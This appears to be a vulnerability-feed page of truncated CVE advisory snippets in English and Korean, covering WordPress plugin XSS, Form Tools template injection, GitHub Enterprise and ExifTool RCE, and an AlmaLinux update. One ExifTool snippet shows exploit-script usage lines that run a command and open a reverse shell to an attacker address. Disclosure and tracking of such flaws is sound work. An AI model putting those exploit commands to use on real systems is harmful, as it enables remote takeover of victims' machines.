CVE-2023-3047

Telegram : @ghostmans3c 또는 @Chrome2024 BTC 기부 : 17L22i227Keet23QCNaeCyrQ6xfiTQpQJ5 PoC CVE-2023-3047 익스플로잇 방법 설명 TMT Lockcell의 SQL 명령에서 특수 요소의 부적절한 중화'SQL 인젝션' 취약점으로 인해 SQL 인젝션이 발생할 수 있습니다. 이 문제는 Lockcell 15 미만 버전에 영향을 미칩니다. 상세 정보 : https://www.tenable.com/cve/CVE-2023-3047 익스플로잇 먼저 CVE-2023-3047...

CVE-2021-22204

CVE-2021-22204 설명 ExifTool 7.44 이상 버전에서 DjVu 파일 형식의 사용자 데이터 부적절한 무력화로 인해 악성 이미지 파싱 시 임의 코드 실행이 가능합니다. 스크립트 스크립트 링크 스크립트 사용법: 시스템 명령: bash CVE-2021-2204.sh "system'id'" happy.jpg 리버스 셸: bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg 자신의 IP와 포트 수동 익스플로잇 $ sudo apt install djvulibre-bi...

CVE-2026-104396 WordPress Name Directory plugin <= 1.34.2 - Cross Site Scripting (XSS) vulnerability

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in Jeroen Peters Name Directory name-directory allows Stored XSS.This issue affects Name Directory: from n/a through 1.34.2...

CVE-2026-103084 WordPress Premium Addons for Elementor plugin <= 4.11.109 - Cross Site Scripting (XSS) vulnerability

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in LeapWorx Premium Addons for Elementor premium-addons-for-elementor allows Stored XSS.This issue affects Premium Addons for Elementor: from n/a through 4.11.109...

CVE-2026-105069

The Nikki Blight QR Redirector WordPress plugin (versions n/a through 2.0.5 ) is vulnerable to Stored Cross-Site Scripting (XSS) . The root cause is the improper neutralization of input during web page generation. This vulnerability allows an attacker to inject malicious scripts that are stored o...

CVE-2026-104409

The WP Chill Image Photo Gallery Final Tiles Grid plugin (specifically the final-tiles-grid-gallery-lite component) is vulnerable to Stored Cross-Site Scripting (XSS) in versions 3.6.13 and below . The root cause is the improper neutralization of input during web page generation . Exploitation de...

CVE-2026-75650

abraxaslabs.tech · github.com/abraxas · @abraxasnull · CVE-2026-75650 CVE-2026-75650 Magento Open Source 2.4.8-p5 — Adobe Adobe Commerce는 템플릿 엔진에 사용되는 특수 요소의 부적절한 중화Improper Neutralization of Special Elements Used in a Template Engine 취약점의 영향을 받으며, 이는 현재 사용자 권한 컨텍스트에서 임의 코드 실행으로 이어질 수 있습니다. |...

CVE-2026-103344

The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) WordPress plugin is vulnerable to Reflected Cross-Site Scripting (XSS) due to the improper neutralization of input during web page generation. This vulnerability affects versions from n/a through 2.0.20 . Exploitation details ...

CVE-2026-103354 WordPress Gutenberg Blocks by Kadence Blocks plugin <= 3.7.11.1 - Cross Site Scripting (XSS) vulnerability

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in Liquid Web / StellarWP Gutenberg Blocks by Kadence Blocks kadence-blocks allows Stored XSS.This issue affects Gutenberg Blocks by Kadence Blocks: from n/a through 3.7.11.1...

CVE-2021-22204

CVE-2021-22204 - ExifTool 임의 코드 실행 CVE-2021-22204에 대한 개선된 개념 증명PoC입니다. 이 취약점은 ExifTool 7.4412.23 버전에 존재하며, 악성 DjVu 파일을 처리할 때 임의 코드 실행을 허용합니다. 크레딧 본 자료는 파생 작업입니다. 취약점과 원본 익스플로잇은 제가 만든 것이 아닙니다. 역할| 작성자 ---|--- 취약점 발견자| William Bowling @wcbowling, GitLab 버그 바운티 프로그램을 통해 보고 — 2021년 4월 원본 PoC 작성자|...

ghe-push-option-rce-scanner

CVE-2026-3854 — 푸시 옵션 인젝션을 통한 GitHub Enterprise Server RCE 개요 GHE에서 푸시 옵션 값에 대한 부적절한 중화. 푸시 접근 권한이 있는 공격자가 인스턴스에서 RCE를 달성할 수 있습니다. 필드| 값 ---|--- CVE| CVE-2026-3854 심각도| CRITICAL 제품| GitHub Enterprise Server CISA KEV| 2026-03-10 공격 유형| 푸시 옵션 인젝션을 통한 RCE 인증 필요| 없음 영향을 받는 버전 상태| 버전 ---|--- ❌ 취약|...

PT-2026-104585

Name of the Vulnerable Software and Affected Versions Unlimited Elements For Elementor Free Widgets, Addons, Templates versions prior to 2.0.21 Description An issue involving improper neutralization of input during web page generation allows for Reflected Cross-site Scripting XSS, a technique whe...

CVE-disclosures

CVE-2026-3171 & CVE-2026-3170 – Archana M Archana M의 공식 취약점 공개 자료. 🔹 CVE-2026-3171 제품: SourceCodester / Patrick Mvuma Patients Waiting Area Queue Management System 1.0 취약점 유형: 크로스 사이트 스크립팅 CWE-79 영향 파일: /queue.php 공격 경로: 원격 사용자 상호작용: 필요 CVSS v3.1: 3.5 AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N 상태: 공개 공개...

EUVD-2026-90802

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in Wpmet ElementsKit Elementor addons Lite elementskit-lite allows Stored XSS.This issue affects ElementsKit Elementor addons Lite: from n/a through 4.0.6...

CVE-2026-103064 WordPress ElementsKit Elementor addons Lite plugin <= 4.0.6 - Cross Site Scripting (XSS) vulnerability

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in Wpmet ElementsKit Elementor addons Lite elementskit-lite allows Stored XSS.This issue affects ElementsKit Elementor addons Lite: from n/a through 4.0.6...

CVE-2026-103343 WordPress FluentForm plugin <= 6.2.14 - Cross Site Scripting (XSS) vulnerability

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in WP ManageNinja LLC FluentForm fluentform allows Stored XSS.This issue affects FluentForm: from n/a through 6.2.14...

CVE-2026-103540 formtools.org Form Tools Client Settings Clients.class.php updateClientSettingsTab special elements in template engine

A security vulnerability has been detected in formtools.org Form Tools up to 3.1.1. This vulnerability affects the function Clients::updateClientSettingsTab of the file global/code/Clients.class.php of the component Client Settings. The manipulation of the argument pagetitles leads to improper...

EUVD-2026-90497

A security vulnerability has been detected in formtools.org Form Tools up to 3.1.1. This vulnerability affects the function Clients::updateClientSettingsTab of the file global/code/Clients.class.php of the component Client Settings. The manipulation of the argument pagetitles leads to improper...

CVE-2026-103540

A security vulnerability exists in formtools.org Form Tools (versions up to 3.1.1 ) within the Client Settings component. Specifically, the Clients::updateClientSettingsTab function in the file global/code/Clients.class.php fails to properly neutralize special elements used in a template engine w...

AlmaLinux 9.6 [TuxCare] Security Update: httpd / httpd-core / httpd-devel / httpd-filesystem / httpd-manual / etc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1769099972)

The AlmaLinux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1769099972 advisory. - Improper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache HTTP Server through environment variables se...